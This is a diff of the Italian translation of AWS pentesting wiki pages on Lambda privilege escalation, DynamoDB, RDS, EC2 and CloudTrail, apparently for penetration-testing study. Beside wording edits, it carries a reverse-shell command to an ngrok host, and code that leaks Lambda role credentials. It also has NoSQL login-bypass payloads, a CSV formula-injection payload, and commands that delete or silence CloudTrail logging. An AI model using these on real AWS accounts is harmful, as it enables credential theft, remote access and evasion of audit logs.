Un attaccante potrebbe abusare di questo per ottenere una **rev shell e rubare il token**:
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
È anche possibile leakare le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Lambdas isolate dalla rete** utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shell, questo pezzo di codice ti permetterà di leakare direttamente le credenziali come output della lambda.
|
||||
È anche possibile leakare le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Network isolated Lambdas** utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shells, questo pezzo di codice ti permetterà di leakare direttamente le credenziali come output della lambda.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -107,7 +107,7 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando **una mappatura della sorgente dell'evento**:
|
||||
Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando un **mapping della sorgente evento**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
@@ -143,7 +143,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Gli utenti che possiedono il permesso **`lambda:UpdateFunctionCode`** hanno il potenziale di **modificare il codice di una funzione Lambda esistente collegata a un ruolo IAM.**\
|
||||
Gli utenti che detengono il permesso **`lambda:UpdateFunctionCode`** hanno il potenziale di **modificare il codice di una funzione Lambda esistente collegata a un ruolo IAM.**\
|
||||
L'attaccante può **modificare il codice della lambda per esfiltrare le credenziali IAM**.
|
||||
|
||||
Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è preesistente e operativa, è probabile che venga attivata attraverso flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
|
||||
@@ -157,20 +157,20 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**Impatto Potenziale:** Privilegi di escalation diretti al ruolo di servizio lambda utilizzato.
|
||||
**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE tramite variabili d'ambiente
|
||||
|
||||
Con questi permessi è possibile aggiungere variabili d'ambiente che causeranno l'esecuzione di codice arbitrario da parte di Lambda. Ad esempio, in python è possibile abusare delle variabili d'ambiente `PYTHONWARNING` e `BROWSER` per far eseguire a un processo python comandi arbitrari:
|
||||
Con questi permessi è possibile aggiungere variabili d'ambiente che causeranno l'esecuzione di codice arbitrario da parte della Lambda. Ad esempio, in python è possibile abusare delle variabili d'ambiente `PYTHONWARNING` e `BROWSER` per far eseguire a un processo python comandi arbitrari:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Per altri linguaggi di scripting ci sono altre variabili d'ambiente che puoi utilizzare. Per ulteriori informazioni controlla le sottosezioni dei linguaggi di scripting in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### RCE tramite Lambda Layers
|
||||
@@ -236,7 +236,7 @@ Un **modo più furtivo per sfruttare questa vulnerabilità** può essere trovato
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato.
|
||||
**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
|
||||
@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
|
||||
Poiché DocumentDB è un database compatibile con MongoDB, puoi immaginare che sia anche vulnerabile a comuni attacchi di iniezione NoSQL:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### DocumentDB
|
||||
@@ -33,7 +33,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
../aws-unauthenticated-enum-access/aws-documentdb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Amazon DynamoDB è presentato da AWS come un **database NoSQL chiave-valore completamente gestito e serverless**, progettato per alimentare applicazioni ad alte prestazioni indipendentemente dalle loro dimensioni. Il servizio garantisce funzionalità robuste, inclusi misure di sicurezza intrinseche, backup ininterrotti, replica automatizzata in più regioni, caching in memoria integrato e utilità di esportazione dei dati convenienti.
|
||||
|
||||
Nel contesto di DynamoDB, invece di stabilire un database tradizionale, **vengono create tabelle**. Ogni tabella richiede la specifica di una **chiave di partizione** come componente integrante della **chiave primaria della tabella**. Questa chiave di partizione, essenzialmente un **valore hash**, gioca un ruolo critico sia nel recupero degli elementi che nella distribuzione dei dati tra vari host. Questa distribuzione è fondamentale per mantenere sia la scalabilità che la disponibilità del database. Inoltre, c'è un'opzione per incorporare una **chiave di ordinamento** per affinare ulteriormente l'organizzazione dei dati.
|
||||
Nel contesto di DynamoDB, invece di stabilire un database tradizionale, **vengono create tabelle**. Ogni tabella richiede la specificazione di una **chiave di partizione** come componente integrale della **chiave primaria della tabella**. Questa chiave di partizione, essenzialmente un **valore hash**, gioca un ruolo critico sia nel recupero degli elementi che nella distribuzione dei dati tra vari host. Questa distribuzione è fondamentale per mantenere sia la scalabilità che la disponibilità del database. Inoltre, c'è un'opzione per incorporare una **chiave di ordinamento** per affinare ulteriormente l'organizzazione dei dati.
|
||||
|
||||
### Crittografia
|
||||
|
||||
@@ -24,7 +24,7 @@ Per impostazione predefinita, DynamoDB utilizza una chiave KMS che **appartiene
|
||||
|
||||
### GUI
|
||||
|
||||
C'è una GUI per i servizi Dynamo locali come [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), ecc, che potrebbero essere utili: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
|
||||
Esiste una GUI per i servizi Dynamo locali come [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), ecc, che potrebbe essere utile: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
|
||||
|
||||
### Enumerazione
|
||||
```bash
|
||||
@@ -84,12 +84,12 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
|
||||
Ci sono modi per accedere ai dati di DynamoDB con **sintassi SQL**, quindi, tipiche **iniezioni SQL sono anche possibili**.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Iniezione NoSQL
|
||||
|
||||
In DynamoDB possono essere utilizzate diverse **condizioni** per recuperare dati, come in una comune iniezione NoSQL; se è possibile **collegare più condizioni per recuperare** dati, potresti ottenere dati nascosti (o scaricare l'intera tabella).\
|
||||
In DynamoDB possono essere utilizzate diverse **condizioni** per recuperare dati, come in una comune Iniezione NoSQL; se è possibile **collegare più condizioni per recuperare** dati, potresti ottenere dati nascosti (o scaricare l'intera tabella).\
|
||||
Puoi trovare qui le condizioni supportate da DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
|
||||
|
||||
Nota che **diverse condizioni** sono supportate se i dati vengono accessi tramite **`query`** o tramite **`scan`**.
|
||||
@@ -105,7 +105,7 @@ Se puoi **cambiare il confronto** effettuato o aggiungerne di nuovi, potresti re
|
||||
"GT": " " #All strings are greater than a space
|
||||
```
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### Iniezione Json Raw
|
||||
@@ -125,7 +125,7 @@ un attaccante potrebbe iniettare qualcosa come:
|
||||
|
||||
correggi la condizione "EQ" cercando l'ID 1000 e poi cercando tutti i dati con una stringa Id maggiore di 0, che è tutto.
|
||||
|
||||
Un altro **esempio vulnerabile usando un login** potrebbe essere:
|
||||
Un altro **esempio vulnerabile che utilizza un login** potrebbe essere:
|
||||
```python
|
||||
scan_filter = """{
|
||||
"username": {
|
||||
@@ -148,11 +148,11 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
|
||||
```
|
||||
### :property Injection
|
||||
|
||||
Alcuni SDK consentono di utilizzare una stringa che indica il filtro da eseguire come:
|
||||
Alcuni SDK consentono di utilizzare una stringa che indica il filtro da eseguire, come:
|
||||
```java
|
||||
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
|
||||
```
|
||||
È necessario sapere che cercando in DynamoDB per **sostituire** un attributo **valore** in **espressioni di filtro** durante la scansione degli elementi, i token devono **iniziare** con il carattere **`:`**. Tali token saranno **sostituiti** con il reale **valore dell'attributo a runtime**.
|
||||
Devi sapere che cercando in DynamoDB per **sostituire** un attributo **valore** in **espressioni di filtro** mentre si scansionano gli elementi, i token devono **iniziare** con il carattere **`:`**. Tali token saranno **sostituiti** con il reale **valore dell'attributo a runtime**.
|
||||
|
||||
Pertanto, un login come quello precedente può essere bypassato con qualcosa come:
|
||||
```bash
|
||||
|
||||
@@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md
|
||||
|
||||
## EC2
|
||||
|
||||
Amazon EC2 è utilizzato per avviare **server virtuali**. Consente la configurazione di **sicurezza** e **networking** e la gestione di **storage**. La flessibilità di Amazon EC2 è evidente nella sua capacità di scalare le risorse sia verso l'alto che verso il basso, adattandosi efficacemente ai cambiamenti di requisiti o ai picchi di popolarità. Questa caratteristica riduce la necessità di previsioni precise sul traffico.
|
||||
Amazon EC2 è utilizzato per avviare **server virtuali**. Consente la configurazione di **sicurezza** e **rete** e la gestione di **storage**. La flessibilità di Amazon EC2 è evidente nella sua capacità di scalare le risorse sia verso l'alto che verso il basso, adattandosi efficacemente ai cambiamenti di requisiti o ai picchi di popolarità. Questa caratteristica riduce la necessità di previsioni precise sul traffico.
|
||||
|
||||
Cose interessanti da enumerare in EC2:
|
||||
|
||||
@@ -38,7 +38,7 @@ Questo passaggio extra è la **creazione di un** [_**instance profile**_](https:
|
||||
I metadati di AWS EC2 sono informazioni su un'istanza di Amazon Elastic Compute Cloud (EC2) disponibili per l'istanza durante l'esecuzione. Questi metadati vengono utilizzati per fornire informazioni sull'istanza, come il suo ID istanza, la zona di disponibilità in cui è in esecuzione, il ruolo IAM associato all'istanza e il nome host dell'istanza.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
@@ -149,13 +149,13 @@ Nella pagina seguente puoi controllare come **abuse EC2 permissions to escalate
|
||||
|
||||
## EBS
|
||||
|
||||
Amazon **EBS** (Elastic Block Store) **snapshots** sono fondamentalmente **backup** statici dei volumi AWS EBS. In altre parole, sono **copia** dei **dischi** collegati a un **EC2** Instance in un momento specifico. Gli snapshot EBS possono essere copiati tra regioni e account, o anche scaricati e eseguiti localmente.
|
||||
Amazon **EBS** (Elastic Block Store) **snapshots** sono fondamentalmente **backup** statici dei volumi AWS EBS. In altre parole, sono **copia** dei **dischi** collegati a un'**istanza EC2** in un momento specifico. Gli snapshot EBS possono essere copiati tra regioni e account, o anche scaricati e eseguiti localmente.
|
||||
|
||||
Gli snapshot possono contenere **informazioni sensibili** come **codice sorgente o chiavi API**, pertanto, se hai la possibilità, è consigliato controllarli.
|
||||
|
||||
### Differenza AMI & EBS
|
||||
|
||||
Un **AMI** è utilizzato per **lanciare un'istanza EC2**, mentre un **Snapshot** EC2 è utilizzato per **eseguire il backup e recuperare i dati memorizzati su un volume EBS**. Anche se uno Snapshot EC2 può essere utilizzato per creare un nuovo AMI, non è la stessa cosa di un AMI e non include informazioni sul sistema operativo, server applicativo o altro software necessario per eseguire un'applicazione.
|
||||
Un'**AMI** viene utilizzata per **lanciare un'istanza EC2**, mentre uno **Snapshot** EC2 viene utilizzato per **eseguire il backup e recuperare i dati memorizzati su un volume EBS**. Anche se uno Snapshot EC2 può essere utilizzato per creare una nuova AMI, non è la stessa cosa di un'AMI e non include informazioni sul sistema operativo, server applicativo o altro software necessario per eseguire un'applicazione.
|
||||
|
||||
### Privesc
|
||||
|
||||
@@ -167,7 +167,7 @@ Nella pagina seguente puoi controllare come **abuse EBS permissions to escalate
|
||||
|
||||
## SSM
|
||||
|
||||
**Amazon Simple Systems Manager (SSM)** consente di gestire da remoto flotte di istanze EC2 per rendere le loro amministrazioni molto più semplici. Ognuna di queste istanze deve eseguire il **servizio SSM Agent poiché il servizio sarà quello che riceve le azioni e le esegue** dall'API AWS.
|
||||
**Amazon Simple Systems Manager (SSM)** consente di gestire da remoto flotte di istanze EC2 per rendere le loro amministrazioni molto più semplici. Ognuna di queste istanze deve eseguire il **servizio SSM Agent poiché sarà il servizio a ricevere le azioni e ad eseguirle** dall'API AWS.
|
||||
|
||||
**SSM Agent** rende possibile per Systems Manager aggiornare, gestire e configurare queste risorse. L'agente **elabora le richieste dal servizio Systems Manager nel Cloud AWS**, e poi le esegue come specificato nella richiesta.
|
||||
|
||||
@@ -258,7 +258,7 @@ Una VPN consente di connettere la tua **rete on-premise (site-to-site VPN)** o i
|
||||
- Viene utilizzato per comunicazioni sicure, stabili e coerenti tra il tuo data center o rete e il tuo ambiente AWS.
|
||||
- Tipicamente utilizzato per connessioni regolari e a lungo termine e viene fatturato in base alla quantità di dati trasferiti attraverso la connessione.
|
||||
4. **Client VPN Endpoint**:
|
||||
- Un Client VPN endpoint è una risorsa che crei in AWS per abilitare e gestire le sessioni VPN client.
|
||||
- Un endpoint Client VPN è una risorsa che crei in AWS per abilitare e gestire le sessioni VPN client.
|
||||
- Viene utilizzato per consentire a singoli dispositivi (come laptop, smartphone, ecc.) di connettersi in modo sicuro alle risorse AWS o alla tua rete on-premises.
|
||||
- Si differenzia dalla Site-to-Site VPN in quanto è progettato per clienti individuali piuttosto che per connettere intere reti.
|
||||
- Con Client VPN, ogni dispositivo client utilizza un software client VPN per stabilire una connessione sicura.
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - Enumerazione del Database Relazionale (RDS)
|
||||
# AWS - Relational Database (RDS) Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Il **Relational Database Service (RDS)** offerto da AWS è progettato per semplificare il deployment, l'operazione e la scalabilità di un **database relazionale nel cloud**. Questo servizio offre i vantaggi di efficienza dei costi e scalabilità, automatizzando compiti laboriosi come la fornitura dell'hardware, la configurazione del database, le patch e i backup.
|
||||
Il **Relational Database Service (RDS)** offerto da AWS è progettato per semplificare il deployment, l'operazione e la scalabilità di un **database relazionale nel cloud**. Questo servizio offre i vantaggi di efficienza dei costi e scalabilità, automatizzando compiti laboriosi come la fornitura di hardware, la configurazione del database, le patch e i backup.
|
||||
|
||||
AWS RDS supporta vari motori di database relazionali ampiamente utilizzati, tra cui MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server e Amazon Aurora, con compatibilità sia per MySQL che per PostgreSQL.
|
||||
|
||||
@@ -36,11 +36,11 @@ Ci sono 3 tipi di opzioni di autenticazione, ma l'uso della **password master è
|
||||
|
||||
### Accesso Pubblico & VPC
|
||||
|
||||
Per impostazione predefinita **non viene concesso accesso pubblico** ai database, tuttavia **potrebbe essere concesso**. Pertanto, per impostazione predefinita solo le macchine della stessa VPC potranno accedervi se il **gruppo di sicurezza** selezionato (memorizzato in EC2 SG) lo consente.
|
||||
Per impostazione predefinita **non viene concesso accesso pubblico** ai database, tuttavia **può essere concesso**. Pertanto, per impostazione predefinita solo le macchine della stessa VPC potranno accedervi se il **gruppo di sicurezza** selezionato (memorizzato in EC2 SG) lo consente.
|
||||
|
||||
Invece di esporre un'istanza DB, è possibile creare un **RDS Proxy** che **migliora** la **scalabilità** e **disponibilità** del cluster DB.
|
||||
|
||||
Inoltre, è possibile **modificare anche la porta del database**.
|
||||
Inoltre, il **port del database può essere modificato** anche.
|
||||
|
||||
### Crittografia
|
||||
|
||||
@@ -61,12 +61,12 @@ Per utilizzare TDE, sono necessari alcuni passaggi preliminari:
|
||||
- Il database deve essere associato a un gruppo di opzioni. I gruppi di opzioni fungono da contenitori per impostazioni e funzionalità, facilitando la gestione del database, inclusi i miglioramenti della sicurezza.
|
||||
- Tuttavia, è importante notare che i gruppi di opzioni sono disponibili solo per specifici motori di database e versioni.
|
||||
2. **Inclusione di TDE nel Gruppo di Opzioni**:
|
||||
- Una volta associato a un gruppo di opzioni, l'opzione di Crittografia dei Dati Trasparente di Oracle deve essere inclusa in quel gruppo.
|
||||
- Una volta associato a un gruppo di opzioni, l'opzione Oracle Transparent Data Encryption deve essere inclusa in quel gruppo.
|
||||
- È essenziale riconoscere che una volta aggiunta l'opzione TDE a un gruppo di opzioni, diventa una caratteristica permanente e non può essere rimossa.
|
||||
3. **Modalità di Crittografia TDE**:
|
||||
- TDE offre due modalità di crittografia distinte:
|
||||
- **Crittografia del Tablespace TDE**: Questa modalità crittografa intere tabelle, fornendo un ambito più ampio di protezione dei dati.
|
||||
- **Crittografia delle Colonne TDE**: Questa modalità si concentra sulla crittografia di elementi specifici e individuali all'interno del database, consentendo un controllo più granulare su quali dati vengono crittografati.
|
||||
- TDE offre due distinte modalità di crittografia:
|
||||
- **Crittografia TDE Tablespace**: Questa modalità crittografa intere tabelle, fornendo un ambito più ampio di protezione dei dati.
|
||||
- **Crittografia TDE Column**: Questa modalità si concentra sulla crittografia di elementi specifici e individuali all'interno del database, consentendo un controllo più granulare su quali dati vengono crittografati.
|
||||
|
||||
Comprendere questi prerequisiti e le complessità operative di TDE è cruciale per implementare e gestire efficacemente la crittografia all'interno di RDS, garantendo sia la sicurezza dei dati che la conformità agli standard necessari.
|
||||
|
||||
@@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
|
||||
Ci sono modi per accedere ai dati di DynamoDB con **sintassi SQL**, quindi, tipiche **SQL injection sono anche possibili**.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## **CloudTrail**
|
||||
|
||||
AWS CloudTrail **registra e monitora l'attività all'interno del tuo ambiente AWS**. Cattura dettagliati **log degli eventi**, inclusi chi ha fatto cosa, quando e da dove, per tutte le interazioni con le risorse AWS. Questo fornisce una traccia di audit delle modifiche e delle azioni, aiutando nell'analisi della sicurezza, nella verifica della conformità e nel tracciamento delle modifiche alle risorse. CloudTrail è essenziale per comprendere il comportamento degli utenti e delle risorse, migliorare le posture di sicurezza e garantire la conformità normativa.
|
||||
AWS CloudTrail **registra e monitora l'attività all'interno del tuo ambiente AWS**. Cattura dettagliati **log degli eventi**, inclusi chi ha fatto cosa, quando e da dove, per tutte le interazioni con le risorse AWS. Questo fornisce una traccia di audit delle modifiche e delle azioni, aiutando nell'analisi della sicurezza, nella verifica della conformità e nel monitoraggio delle modifiche alle risorse. CloudTrail è essenziale per comprendere il comportamento degli utenti e delle risorse, migliorare le posture di sicurezza e garantire la conformità normativa.
|
||||
|
||||
Ogni evento registrato contiene:
|
||||
|
||||
@@ -24,7 +24,7 @@ I log di CloudTrail possono essere **aggregati tra account e tra regioni.**\
|
||||
CloudTrail consente di utilizzare **l'integrità del file di log per poter verificare che i tuoi file di log siano rimasti invariati** da quando CloudTrail li ha consegnati a te. Crea un hash SHA-256 dei log all'interno di un file di digest. Un hash sha-256 dei nuovi log viene creato ogni ora.\
|
||||
Quando si crea un Trail, i selettori di eventi ti permetteranno di indicare il trail da registrare: eventi di gestione, dati o approfondimenti.
|
||||
|
||||
I log vengono salvati in un bucket S3. Per impostazione predefinita viene utilizzata la crittografia lato server (SSE-S3), quindi AWS decripterà il contenuto per le persone che hanno accesso, ma per ulteriore sicurezza puoi utilizzare SSE con KMS e le tue chiavi.
|
||||
I log vengono salvati in un bucket S3. Per impostazione predefinita, viene utilizzata la crittografia lato server (SSE-S3), quindi AWS decripterà il contenuto per le persone che hanno accesso, ma per ulteriore sicurezza puoi utilizzare SSE con KMS e le tue chiavi.
|
||||
|
||||
I log sono memorizzati in un **bucket S3 con questo formato di nome**:
|
||||
|
||||
@@ -83,20 +83,20 @@ La Cronologia Eventi di CloudTrail ti consente di ispezionare in una tabella i l
|
||||
|
||||
### Insights
|
||||
|
||||
**CloudTrail Insights** analizza automaticamente gli eventi di gestione della scrittura dai trail di CloudTrail e ti **avverte** di **attività insolite**. Ad esempio, se c'è un aumento degli eventi `TerminateInstance` che differisce dai parametri di riferimento stabiliti, lo vedrai come un evento Insight. Questi eventi rendono **più facile che mai trovare e rispondere a attività API insolite**.
|
||||
**CloudTrail Insights** analizza automaticamente gli eventi di gestione della scrittura dai trail di CloudTrail e ti **avverte** di **attività insolite**. Ad esempio, se c'è un aumento degli eventi `TerminateInstance` che differisce dalle baseline stabilite, lo vedrai come un evento Insight. Questi eventi rendono **più facile che mai trovare e rispondere a attività API insolite**.
|
||||
|
||||
Le informazioni sono memorizzate nello stesso bucket dei log di CloudTrail in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
||||
|
||||
### Security
|
||||
|
||||
| CloudTrail Log File Integrity | <ul><li>Valida se i log sono stati manomessi (modificati o eliminati)</li><li><p>Utilizza file di digest (crea hash per ogni file)</p><ul><li>SHA-256 hashing</li><li>SHA-256 con RSA per la firma digitale</li><li>chiave privata di proprietà di Amazon</li></ul></li><li>Ci vogliono 1 ora per creare un file di digest (fatto all'ora ogni ora)</li></ul> |
|
||||
| CloudTrail Log File Integrity | <ul><li>Valida se i log sono stati manomessi (modificati o eliminati)</li><li><p>Utilizza file di digest (crea hash per ogni file)</p><ul><li>SHA-256 hashing</li><li>SHA-256 con RSA per la firma digitale</li><li>chiave privata di proprietà di Amazon</li></ul></li><li>Richiede 1 ora per creare un file di digest (eseguito all'ora ogni ora)</li></ul> |
|
||||
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| Stop unauthorized access | <ul><li><p>Utilizza politiche IAM e politiche del bucket S3</p><ul><li>team di sicurezza —> accesso admin</li><li>auditori —> accesso in sola lettura</li></ul></li><li>Utilizza SSE-S3/SSE-KMS per crittografare i log</li></ul> |
|
||||
| Prevent log files from being deleted | <ul><li>Restringi l'accesso all'eliminazione con IAM e politiche del bucket</li><li>Configura l'eliminazione MFA di S3</li><li>Valida con la Validazione del File di Log</li></ul> |
|
||||
|
||||
## Access Advisor
|
||||
|
||||
AWS Access Advisor si basa sugli ultimi 400 giorni di log di AWS **CloudTrail per raccogliere le sue informazioni**. CloudTrail cattura una cronologia delle chiamate API AWS e degli eventi correlati effettuati in un account AWS. Access Advisor utilizza questi dati per **mostrare quando i servizi sono stati ultimi accessi**. Analizzando i log di CloudTrail, Access Advisor può determinare quali servizi AWS un utente o un ruolo IAM ha accesso e quando è avvenuto tale accesso. Questo aiuta gli amministratori AWS a prendere decisioni informate su **come affinare le autorizzazioni**, poiché possono identificare i servizi che non sono stati accessi per lunghi periodi e potenzialmente ridurre autorizzazioni eccessivamente ampie basate su modelli di utilizzo reali.
|
||||
AWS Access Advisor si basa sugli ultimi 400 giorni di log di AWS **CloudTrail per raccogliere le sue informazioni**. CloudTrail cattura una cronologia delle chiamate API AWS e degli eventi correlati effettuati in un account AWS. Access Advisor utilizza questi dati per **mostrare quando i servizi sono stati accessi l'ultima volta**. Analizzando i log di CloudTrail, Access Advisor può determinare quali servizi AWS un utente IAM o un ruolo ha accesso e quando è avvenuto tale accesso. Questo aiuta gli amministratori AWS a prendere decisioni informate su **come affinare le autorizzazioni**, poiché possono identificare i servizi che non sono stati accessi per lunghi periodi e potenzialmente ridurre autorizzazioni eccessivamente ampie basate su modelli di utilizzo reali.
|
||||
|
||||
> [!TIP]
|
||||
> Pertanto, Access Advisor informa sulle **autorizzazioni non necessarie concesse agli utenti** in modo che l'amministratore possa rimuoverle
|
||||
@@ -124,8 +124,8 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
|
||||
```
|
||||
### **CSV Injection**
|
||||
|
||||
È possibile eseguire un'iniezione CSV all'interno di CloudTrail che eseguirà codice arbitrario se i log vengono esportati in CSV e aperti con Excel.\
|
||||
Il seguente codice genererà un'entrata di log con un nome Trail errato contenente il payload:
|
||||
È possibile eseguire un'iniezione CVS all'interno di CloudTrail che eseguirà codice arbitrario se i log vengono esportati in CSV e aperti con Excel.\
|
||||
Il seguente codice genererà un'entrata di log con un nome di Trail errato contenente il payload:
|
||||
```python
|
||||
import boto3
|
||||
payload = "=cmd|'/C calc'|''"
|
||||
@@ -139,7 +139,7 @@ print(response)
|
||||
Per ulteriori informazioni sulle iniezioni CSV, controlla la pagina:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/formula-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
|
||||
{{#endref}}
|
||||
|
||||
Per ulteriori informazioni su questa specifica tecnica, controlla [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
|
||||
@@ -185,9 +185,9 @@ Controlla ulteriori informazioni nella [**ricerca originale**](https://medium.co
|
||||
|
||||
#### Non generare un log
|
||||
|
||||
La tecnica più efficace per questo è in realtà una semplice. Usa semplicemente la chiave che hai appena trovato per accedere a qualche servizio all'interno del tuo account di attaccante. Questo farà sì che **CloudTrail generi un log all'interno del TUO account AWS e non all'interno delle vittime**.
|
||||
La tecnica più efficace per questo è in realtà una semplice. Usa semplicemente la chiave che hai appena trovato per accedere a qualche servizio all'interno del tuo account attaccante. Questo farà sì che **CloudTrail generi un log all'interno del TUO account AWS e non all'interno di quello delle vittime**.
|
||||
|
||||
Il fatto è che l'output mostrerà un errore che indica l'ID dell'account e il nome dell'account, quindi **sarai in grado di vedere se è un Honeytoken**.
|
||||
Il fatto è che l'output mostrerà un errore che indica l'ID dell'account e il nome dell'account, quindi **sarai in grado di vedere se si tratta di un Honeytoken**.
|
||||
|
||||
#### Servizi AWS senza log
|
||||
|
||||
@@ -224,11 +224,11 @@ aws cloudtrail delete-trail --name [trail-name]
|
||||
```bash
|
||||
aws cloudtrail stop-logging --name [trail-name]
|
||||
```
|
||||
#### Disabilita la registrazione multi-regione
|
||||
#### Disabilita il logging multi-regione
|
||||
```bash
|
||||
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
|
||||
```
|
||||
#### Disabilita la registrazione tramite selettori di eventi
|
||||
#### Disabilitare la registrazione tramite selettori di eventi
|
||||
```bash
|
||||
# Leave only the ReadOnly selector
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
|
||||
@@ -236,20 +236,20 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
|
||||
# Remove all selectors (stop Insights)
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
|
||||
```
|
||||
Nel primo esempio, viene fornito un singolo selettore di eventi come un array JSON con un singolo oggetto. Il `"ReadWriteType": "ReadOnly"` indica che il **selettore di eventi dovrebbe catturare solo eventi di sola lettura** (quindi CloudTrail insights **non controllerà gli eventi di scrittura**, ad esempio).
|
||||
